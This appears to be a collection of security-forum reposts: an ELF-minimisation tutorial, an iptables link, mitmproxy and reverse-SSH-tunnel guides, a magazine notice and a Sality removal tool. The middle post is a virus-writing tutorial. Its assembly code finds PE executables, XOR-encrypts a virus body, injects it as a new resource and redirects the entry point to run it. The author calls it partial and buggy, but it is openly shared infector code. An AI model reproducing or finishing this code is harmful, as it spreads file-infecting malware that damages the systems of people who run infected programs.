parts of an ELF file are permitted to be located anywhere (except the ELF header, which must be at the top of the file), and they can even overlap each other. 2) Some of the fields in the headers aren't actually used. In particular, I'm thinking of that string of zeros at the end of the 16-byte identification field. They are pure padding, to make room for future expansion of the ELF standard. So the OS shouldn't care at all what's in there. And we're already loading everything into memory anyway, and our program is only seven bytes long.... Can we put our code inside the ELF header itself? Why not? ; tiny.asm BITS 32 org 0x08048000 ehdr: ; Elf32_Ehdr db 0x7F, "ELF" ; e_ident db 1, 1, 1, 0, 0 _start: mov bl, 42 xor eax, eax inc eax int 0x80 dw 2 ; e_type dw 3 ; e_machine dd 1 ; e_version dd _start ; e_entry dd phdr - $$ ; e_phoff dd 0 ; e_shoff dd 0 ; e_flags dw ehdrsize ; e_ehsize dw phdrsize ; e_phentsize dw 1 ; e_phnum dw 0 ; e_shentsize dw 0 ; e_shnum dw 0 ; e_shstrndx ehdrsize equ $ - ehdr phdr: ; Elf32_Phdr dd 1 ; p_type dd 0 ; p_offset dd $$ ; p_vaddr dd $$ ; p_paddr dd filesize ; p_filesz dd filesize ; p_memsz dd 5 ; p_flags dd 0x1000 ; p_align phdrsize equ $ - phdr filesize equ $ - $$ After all, bytes are bytes! $ nasm -f bin -o a.out tiny.asm $ chmod +x a.out $ ./a.out ; echo $? 42 $ wc -c a.out 84 a.out Not bad, eh? Now we've really gone as low as we can go. Our file is exactly as long as one ELF header and one program header table entry, both of which we absolutely require in order to get loaded into memory and run. So there's nothing left to reduce now! Except ... Well, what if we could do the same thing to the program header table that we just did to the program? Have it overlap with the ELF header, that is. Is it possible? It is indeed. Take a look at our program. Note that the last eight bytes in the ELF header bear a certain kind of resemblence to the first eight bytes in the program header table. A certain kind of resemblence that might be described as "identical". So ... ; tiny.asm BITS 32 org 0x08048000 ehdr: db 0x7F, "ELF" ; e_ident db 1, 1, 1, 0, 0 _start: mov bl, 42 xor eax, eax inc eax int 0x80 dw 2 ; e_type dw 3 ; e_machine dd 1 ; e_version dd _start ; e_entry dd phdr - $$ ; e_phoff dd 0 ; e_shoff dd 0 ; e_flags dw ehdrsize ; e_ehsize dw phdrsize ; e_phentsize phdr: dd 1 ; e_phnum ; p_type ; e_shentsize dd 0 ; e_shnum ; p_offset ; e_shstrndx ehdrsize equ $ - ehdr dd $$ ; p_vaddr dd $$ ; p_paddr dd filesize ; p_filesz dd filesize ; p_memsz dd 5 ; p_flags dd 0x1000 ; p_align phdrsize equ $ - phdr filesize equ $ - $$ And sure enough, Linux doesn't mind our parsimony one bit: $ nasm -f bin -o a.out tiny.asm $ chmod +x a.out $ ./a.out ; echo $? 42 $ wc -c a.out 76 a.out Now we've really gone as low as we can go. There's no way to overlap the two structures any more than this. The bytes simply don't match up. This is the end of the line! Unless, that is, we could change the contents of the structures to make them match even further.... How many of these fields is Linux actually looking at, anyway? For example, does Linux actually check to see if the e_machine field contains 3 (indicating an Intel 386 target), or is it just assuming that it does? As a matter of fact, in that case it does. But a surprising number of other fields are being quietly ignored. So: Here's what is and isn't essential in the ELF header. The first four bytes have to contain the magic number, or else Linux won't touch it. The other three bytes in the e_ident field are not checked, however, which means we have no less than twelve contiguous bytes we can set to anything at all. e_type has to be set to 2, to indicate an executable, and e_machine has to be 3, as just noted. e_version is, like the version number inside e_ident, completely ignored. (Which is sort of understandable, seeing as currently there's only one version of the ELF standard.) e_entry naturally has to be valid, since it points to the start of the program. And clearly, e_phoff needs to contain the correct offset of the program header table in the file, and e_phnum needs to contain the right number of entries in said table. e_flags, however, is documented as being currently unused for Intel, so it should be free for us to reuse. e_ehsize is supposed to be used to verify that the ELF header has the expected size, but Linux pays it no mind. e_phentsize is likewise for validating the size of the program header table entries. This one was unchecked in older kernels, but now it needs to be set correctly. Everything else in the ELF header is about the section header table, which doesn't come into play with executable files. And now how about the program header table entry? Well, p_type has to contain 1, to mark it as a loadable segment. p_offset really needs to have the correct file offset to start loading. Likewise, p_vaddr needs to contain the proper load address. Note, however, that we're not required to load at 0x08048000. Almost any address can be used as long as it's above 0x00000000, below 0x80000000, and page-aligned. The p_paddr field is documented as being ignored, so that's guaranteed to be free. p_filesz indicates how many bytes to load out of the file into memory, and p_memsz indicates how large the memory segment needs to be, so these numbers ought to be relatively sane. p_flags indicates what permissions to give the memory segment. It needs to be readable (4), or it won't be usable at all, and it needs to also be executable (1), or else we can't execute code in it. Other bits can probably be set as well, but we need to have those at minimum. Finally, p_align gives the alignment requirements for the memory segment. This field is mainly used when relocating segments containing position-independent code (as for shared libraries), so for an executable file Linux will ignore whatever garbage we store here. All in all, that's a fair bit of leeway. In particular, a bit of scrutiny will reveal that most of the necessary fields in the ELF header are in the first half - the second half is almost completely free for munging. With this in mind, we can interpose the two structures quite a bit more than we did previously: ; tiny.asm BITS 32 org 0x00200000 db 0x7F, "ELF" ; e_ident db 1, 1, 1, 0, 0 _start: mov bl, 42 xor eax, eax inc eax int 0x80 dw 2 ; e_type dw 3 ; e_machine dd 1 ; e_version dd _start ; e_entry dd phdr - $$ ; e_phoff phdr: dd 1 ; e_shoff ; p_type dd 0 ; e_flags ; p_offset dd $$ ; e_ehsize ; p_vaddr ; e_phentsize dw 1 ; e_phnum ; p_paddr dw 0 ; e_shentsize dd filesize ; e_shnum ; p_filesz ; e_shstrndx dd filesize ; p_memsz dd 5 ; p_flags dd 0x1000 ; p_align filesize equ $ - $$ As you can (hopefully) see, the first twenty bytes of the program header table now overlap the last twenty bytes of the ELF header. The two dovetail quite nicely, actually. There are only two parts of the ELF header within the overlapped region that matter. The first is the e_phnum field, which just happens to coincide with the p_paddr field, one of the few fields in the program header table which is definitely ignored. The other is the e_phentsize field, which coincides with the top half of the p_vaddr field. These are made to match up by selecting a non-standard load address for our program, with a top half equal to 0x0020. Now we have really left behind all pretenses of portability ... $ nasm -f bin -o a.out tiny.asm $ chmod +x a.out $ ./a.out ; echo $? 42 $ wc -c a.out 64 a.out ... but it works! And the program is twelve bytes shorter, exactly as predicted. This is where I say that we can't do any better than this, but of course, we already know that we can — if we could get the program header table to reside completely within the ELF header. Can this holy grail be achieved? Well, we can't just move it up another twelve bytes without hitting hopeless obstacles trying to reconcile several fields in both structures. The only other possibility would be to have it start immediately following the first four bytes. This puts the first part of the program header table comfortably within the e_ident area, but still leaves problems with the rest of it. After some experimenting, it looks like it isn't going to quite be possible. However, it turns out that there are still a couple more fields in the program header table that we can pervert. We noted that p_memsz indicates how much memory to allocate for the memory segment. Obviously it needs to be at least as big as p_filesz, but there wouldn't be any harm if it was larger. Just because we ask for memory doesn't mean we have to use it, after all. Secondly, it turns out that, contrary to all my expectations, the executable bit can be dropped from the p_flags field. It turns out that the readable and executable bits are redundant: either one will imply the other. So, with these facts in mind, we can reorganize the file into this little monstrosity: ; tiny.asm BITS 32 org 0x00001000 db 0x7F, "ELF" ; e_ident dd 1 ; p_type dd 0 ; p_offset dd $$ ; p_vaddr dw 2 ; e_type ; p_paddr dw 3 ; e_machine dd _start ; e_version ; p_filesz dd _start ; e_entry ; p_memsz dd 4 ; e_phoff ; p_flags _start: mov bl, 42 ; e_shoff ; p_align xor eax, eax inc eax ; e_flags int 0x80 db 0 dw 0x34 ; e_ehsize dw 0x20 ; e_phentsize dw 1 ; e_phnum dw 0 ; e_shentsize dw 0 ; e_shnum dw 0 ; e_shstrndx filesize equ $ - $$ The p_flags field has been changed from 5 to 4, as we noted we could get away with doing. This 4 is also the value of the e_phoff field, which gives the offset into the file for the program header table, which is exactly where we've located it. The program (remember that?) has been moved down to lower part of the ELF header, beginning at the e_shoff field and ending inside the e_flags field. Note that the load address has been changed to a much lower number — as low as it can be, in fact. This keeps the value in the e_entry field to a reasonably small number, which is good since it's also the p_memsz number. (Actually, with virtual memory it hardly matters — we could have left it at our original value and it would work just as well. But there's no harm in being polite.) The change to p_filesz may require an explanation. Because we aren't setting the write bit in the p_flags field, Linux won't let us define a p_memsz value greater than p_filesz, since it can't zero-initialize those extra bytes if they aren't writeable. Since we can't change the p_flags field without moving the program header table out of alignment, you might think that the only solution would be to lower the p_memsz value back down to equal p_filesz (which would make it impossible to share it with e_entry). However, another solution exists, namely to increase p_filesz to equal p_memsz. That means they're both larger than the real file size — quite a bit larger, in fact — but it absolves the loader from having to write to read-only memory, which is all it cared about. And so ... $ nasm -f bin -o a.out tiny.asm $ chmod +x a.out $ ./a.out ; echo $? 42 $ wc -c a.out 52 a.out ... and so, with both the program header table and the program itself completely embedded within the ELF header, our executable file is now exactly as big as the ELF header! No more, no less. And still running without a single complaint from Linux! Now, finally, we have truly and certainly reached the absolute minimum possible. There can be no question about it, right? After all, we have to have a complete ELF header (even if it is badly mangled), or else Linux wouldn't give us the time of day! Right? Wrong. We have one last dirty trick left. It seems to be the case that if the file isn't quite the size of a full ELF header, Linux will still play ball, and fill out the missing bytes with zeros. We have no less than seven zeros at the end of our file, and if we drop them from the file image: ; tiny.asm BITS 32 org 0x00001000 db 0x7F, "ELF" ; e_ident dd 1 ; p_type dd 0 ; p_offset dd $$ ; p_vaddr dw 2 ; e_type ; p_paddr dw 3 ; e_machine dd _start ; e_version ; p_filesz dd _start ; e_entry ; p_memsz dd 4 ; e_phoff ; p_flags _start: mov bl, 42 ; e_shoff ; p_align xor eax, eax inc eax ; e_flags int 0x80 db 0 dw 0x34 ; e_ehsize dw 0x20 ; e_phentsize db 1 ; e_phnum ; e_shentsize ; e_shnum ; e_shstrndx filesize equ $ - $$ ... we can, incredibly enough, still produce a working executable: $ nasm -f bin -o a.out tiny.asm $ chmod +x a.out $ ./a.out ; echo $? 42 $ wc -c a.out 45 a.out Here, at last, we have honestly gone as far as we can go. There is no getting around the fact that the 45th byte in the file, which specifies the number of entries in the program header table, needs to be non-zero, needs to be present, and needs to be in the 45th position from the start of the ELF header. We are forced to conclude that there is nothing more that can be done. This forty-five-byte file is less than one-eighth the size of the smallest ELF executable we could create using the standard tools, and is less than one-fiftieth the size of the smallest file we could create using pure C code. We have stripped everything out of the file that we could, and put to dual purpose most of what we couldn't. Of course, half of the values in this file violate some part of the ELF standard, and it's a wonder than Linux will even consent to sneeze on it, much less give it a process ID. This is not the sort of program to which one would normally be willing to confess authorship. On the other hand, every single byte in this executable file can be accounted for and justified. How many executables have you created lately that you can say that about? Sursa: A Whirlwind Tutorial on Creating Really Teensy ELF Executables for Linux

Mastering IPTables, Part I Oct 02, 2008 By Elliot Isaacson Linux comes with a powerful firewall built-in, although the interface can be a little intimidating. This is the first in a multi-part tutorial on how to master basic and not-so-basic IPTables functionality and create the perfect firewall for your home network. http://www.youtube.com/watch?v=ldB8kDEtTZA Sursa: Mastering IPTables, Part I | Linux Journal

Infecting PE files by adding new resource Author: Berniee/Fakedminded .Introduction Making a pe appender is done by various ways adding new section,increasing last section or any other ways. Here I will explain infecting pe file by adding new resource which will contain our code.The infecting code is taken from my previous virus "fag". NOTE:May be the following is to some point is un-understandable for some ,because I tried to present the method as an idea and not as explaining it in depth! . .Theory The thing behind all this is getting the job (infection) by easiest way,may be there are other ways,but that was the easiest on for me as I started. The method use : BeginUpdateResource() UpdateResource() EndUpdateResource() which are all from kernel32.dll .GettingStarted First thing we will load the file by LoadLibrary function,so as to use FindReseource()to see if ourvirus is already there in that exe file.By checking the resource name which is is 123 type RT_RCDATA in this demonstartion ,if it was there we just abort infection,you may find other ways to check for the virus infection use your imagination. -------------------CODE------------------ nfkt_this: mov [ebp+offset v_file],eax push [ebp+offset v_file] call [ebp+offset ALoadLibraryF] or eax,eax jz exit_nfkt mov [ebp+offset bwr],eax ;note I used the variable bwr ;so as not increasing no. of variables in use push RT_RCDATA push 1234 push [ebp+offset bwr] call [ebp+offset AFindResourceF];checking the virus presence,not found proceed infection. or eax,eax jnz exit_nfkt -----------------END OF CODE-------------- Then we we go on checking if it is pe! . After that we go and we make another check for resource by checking Res. Directory address if it is zeroed or not(can be omitted since we already checked it by res. func) [ cmp dword ptr [esi+136],0 je exit_nfkt ] Next we save image base and the old_eip(old entry point). Then FreeLibrary after getting the info. required (image base & entry point) -----------------CODE--------------------- mov esi,dword ptr [ebp+offset bwr] cmp word ptr [esi],"ZM" jne exit_nfkt add esi,[esi+3ch] cmp word ptr [esi],"EP" jne exit_nfkt cmp dword ptr [esi+136],0 je exit_nfkt mov eax,[esi+40] mov ebx,[esi+52] mov [ebp+offset image_base],ebx mov [ebp+offset old_eip],eax push [ebp+offset bwr] call [ebp+offset AFreeLibraryF] -----------------END OF CODE-------------- .Pursuing Infection Now After we checked the file has not been yet infected and after taking two variables (image base and old entrypoint).We continue in our goal infection by addinf new resource. The followinf functions have the major role: 1-HANDLE BeginUpdateResource ( LPCTSTR pFileName, BOOL bDeleteExistingResources ); as you can see the function needs the name of file-->the victive file and the other option is to tell us if we want all the resources to be deleted and replaced by ours or just add the new resources of ours,choose FLASE because we dont want to remove icon and other resources of that file.this function will return a handle that we save by pushing to stack inthe code below . 2-BOOL UpdateResource( HANDLE hUpdate, LPCTSTR lpType, LPCTSTR lpName, WORD wLanguage, LPVOID lpData, DWORD cbData ); Handle, our handle from BeginUpdateResource lpType,RT_RCDATA that what we need no icons lpName,1234 the name you can choose whatever names you want wLanguage,LANG_ENGLISH lpData,pointer to our virus body cbData,size of our virus.. 3-BOOL EndUpdateResource( HANDLE hUpdate, BOOL fDiscard ); handle,we just pop from the stack of the previous saved handle. fDiscard,we put it FALSE announcing the changing to be done see next code. [ the following code has a simple xor encoder( "fag" virus ) ] -----------------CODE-------------------- push vir_size push 0 call dword ptr [ebp+offset AGlobalAllocF] ;allocate enough memory for our encrypted vir or eax,eax je exit_nfkt mov [ebp+offset v_mem],eax mov esi,offset Start add esi,ebp mov edi,[ebp+offset v_mem] mov ecx,vir_size rep movsb mov ecx,vir_size sub ecx,stub_size mov eax,[ebp+offset v_mem] add eax,stub_size _encrypt: xor byte ptr [eax],12 ;simple encryption by xor inc eax loop _encrypt push FALSE push [ebp+offset v_file] call dword ptr [ebp+offset ABeginUpdateResourceF] ;starting our res. based infection (see ;above about the functions,which was ;discussed) or eax,eax jz exit_nfkt push eax push [ebp+offset v_mem] push LANG_ENGLISH push 1234 push RT_RCDATA push eax call dword ptr [ebp+offset AUpdateResourceF] ;adding the RT_RCDATA 1234 resource or eax,eax jz exit_nfkt pop eax push FALSE push eax call dword ptr [ebp+AEndUpdateResourceF] ;ending our resource update or eax,eax jz exit_nfkt -----------------END OF CODE-------------- .Fixing EntryPoint You may have noticed that I didnt use epo in "fag" virus,so I had to change the old entry point .Here using a rather lame method: Opening the file and finding out where the hell our code goes and how many offsets is it far from .res section physical offset to add .res section Virtual Address to its offset from it to get the new entry point. see code : -----------------CODE--------------------- push 0 push 0 push 3 push 0 push 2h push 40000000h or 80000000h push [ebp+offset v_file] call dword ptr [ebp+offset ACreateFileF] or eax,eax jz exit mov [ebp+offset v_filehandle],eax push 0 push eax call dword ptr [ebp+offset AGetFileSizeF] or eax,eax jz exit_nfkt mov dword ptr [ebp+offset v_size ],eax push eax push 0 call dword ptr [ebp+offset AGlobalAllocF] or eax,eax jz exit_nfkt mov dword ptr [ebp+offset v_mem],eax push 0 mov eax,offset bwr add eax,ebp push eax push dword ptr [ebp+offset v_size] push dword ptr [ebp+offset v_mem] push dword ptr [ebp+offset v_filehandle] call dword ptr [ebp+offset AReadFileF] or eax,eax jz exit_nfkt mov esi,dword ptr [ebp+offset v_mem] cmp word ptr [esi],"ZM" jne exit_nfkt add esi,[esi+3ch] cmp word ptr [esi],"EP" jne exit_nfkt push esi xor ecx,ecx xor ebx,ebx mov bx,word ptr [esi+20] ;ebx size of optional header mov cx,word ptr [esi+6] ;ecx no. of sections add esi,24 add esi,ebx xor ebx,ebx l00p_rsrc: cmp dword ptr [esi],"rsr." je found_rsrc add esi,40 loop l00p_rsrc jmp exit_nfkt found_rsrc: mov ecx,[esi+16] mov esi,[esi+20] add esi,[ebp+offset v_mem] push ecx -----------------END OF CODE-------------- here take a break,see that I put a marker in virus body at the beginning (notice in original virus--with all its contents--) so I check this marker to know the offset of my virus body away from from .res section begining. -----------------CODE--------------------- l00p_marker: cmp word ptr [esi],'kcik' je here_vir inc esi loop l00p_marker here_vir: pop edx sub edx,ecx sub edx,2 pop edi add edx,dword ptr [edi+136] mov dword ptr [edi+40],edx ;new entry point push 0 push 0 push FILE_BEGIN push dword ptr [ebp+offset v_filehandle] call dword ptr [ebp+offset ASetFilePointerF] push 0 mov eax,offset bwr add eax,ebp push eax push dword ptr [ebp+offset v_size] push dword ptr [ebp+offset v_mem] push dword ptr [ebp+offset v_filehandle] call dword ptr [ebp+offset AWriteFileF] ret exit_nfkt: -----------------END OF CODE-------------- Now what we all need is to take the old entry point and add image base to it and jmp to it. I left other things like getting kernel base and other needed functions because as I said I only wanted to present the method of infection and the other things are left to be done by you. .FinalWords If you you have any comments feedbacks or curses just contacting me through eof-project site or throught my site ,If you ever felt this method is lame or unworthy reading ! just forget about it and move on in your coding life and dont blame me of the time you and me wasted,and remember shitting also take time from your life :\ . Note :: Recently I have found some bugs regarding fag-virus,so the above tutorial represent idea rather than copy-paste code... Sursa: Infecting PE files by adding new resource(Paper) (Page 1) - Books and papers - VX Heavens forum

mitmproxy an SSL-capable intercepting proxy mitmproxy is an SSL-capable, intercepting HTTP proxy. It provides a console interface that allows traffic flows to be inspected and edited on the fly. mitmdump is the command-line version of mitmproxy, with the same functionality but without the frills. Think tcpdump for HTTP. Features Intercept and modify HTTP traffic on the fly Save HTTP conversations for later replay and analysis Replay both HTTP clients and servers Make scripted changes to HTTP traffic using Python SSL interception certs generated on the fly Download: http://mitmproxy.org/download/mitmproxy-0.4.tar.gz Sursa: mitmproxy - home

Reverse SSH Tunneling Have you ever wanted to ssh to your Linux box that sits behind NAT? Now you can with reverse SSH tunneling. This document will show you step by step how to set up reverse SSH tunneling. The reverse SSH tunneling should work fine with Unix like systems. Let's assume that Destination's IP is 192.168.20.55 (Linux box that you want to access). You want to access from Linux client with IP 138.47.99.99. Destination (192.168.20.55) <- |NAT| <- Source (138.47.99.99) 1. SSH from the destination to the source (with public ip) using command below: ssh -R 19999:localhost:22 sourceuser@138.47.99.99 * port 19999 can be any unused port. 2. Now you can SSH from source to destination through SSH tuneling: ssh localhost -p 19999 3. 3rd party servers can also access 192.168.20.55 through Destination (138.47.99.99). Destination (192.168.20.55) <- |NAT| <- Source (138.47.99.99) <- Bob's server 3.1 From Bob's server: ssh sourceuser@138.47.99.99 3.2 After the sucessful login to Source: ssh localhost -p 19999 * the connection between destination and source must be alive at all time. Tip: you may run a command (e.g. watch, top) on Destination to keep the connection active. Sursa: Reverse SSH Tunneling | HowtoForge - Linux Howtos and Tutorials

ClubHack Magazine Issue 16, May 2011 Hello friends, here we are with another issue of CHMag. This time also we have dedicated our issue to Browser Security. April witnessed the launch of CSOIndia - Indian CSO network, CSOIndia is an online community site for all CSOs & CISOs of India. In this issue we'll be covering topics such as BeEF (Browser Exploitation Framework) in Tool Gyan, and Tech Gyan article is set to expose in first ever public disclosure of Password secrets of Safari, User Agents in Moms Guide, Forensics in Matriux Vibhag, New Rules under Information Technology Act In Legal Gyan and again an amazing poster on browser security by Pankit Thakkar. So readers, how are you finding the magazine? Hope you enjoying it, do send us your feedbacks and articles toinfo@chmag.in Happy Reading and Safe surfing! Download: http://chmag.in/issue/may2011.pdf Alte numere: Issue 15, April 2011 : PDF Issue 14, March 2011 : PDF Issue 13, February 2011 : PDF Issue 12, January 2011 : PDF Sursa: ClubHACK Magazine

SalityKiller Removal Tool de la Kaspersky pentru a scapa de virusul Sality. Versiune: 1.3.6 Virus.Win32.Sality.aa, ag, bh Virus.Win32.Sality.aa,ae,ag,bh removing tool, Kaspersky Lab 2010 version 1.3.6.0 Nov 12 2010 10:13:11 scanning threads ... scanning processes ... fixing registry ... Monitoring thread started SalityRegCure: Restoring general registry keys SalityRegCure: Fixing system.ini scanning drives ... scanning C:\ ... scanning F:\ ... Monitoring thread stopped completed Infected files: 0 Infected processes: 0 Infected threads: 0 Cured files: 0 Will be cured on reboot: 0 Executed registry scripts: 1 Press any key to continue . . . Download: http://www.kaspersky.com/downloads/utils/salitykiller.zip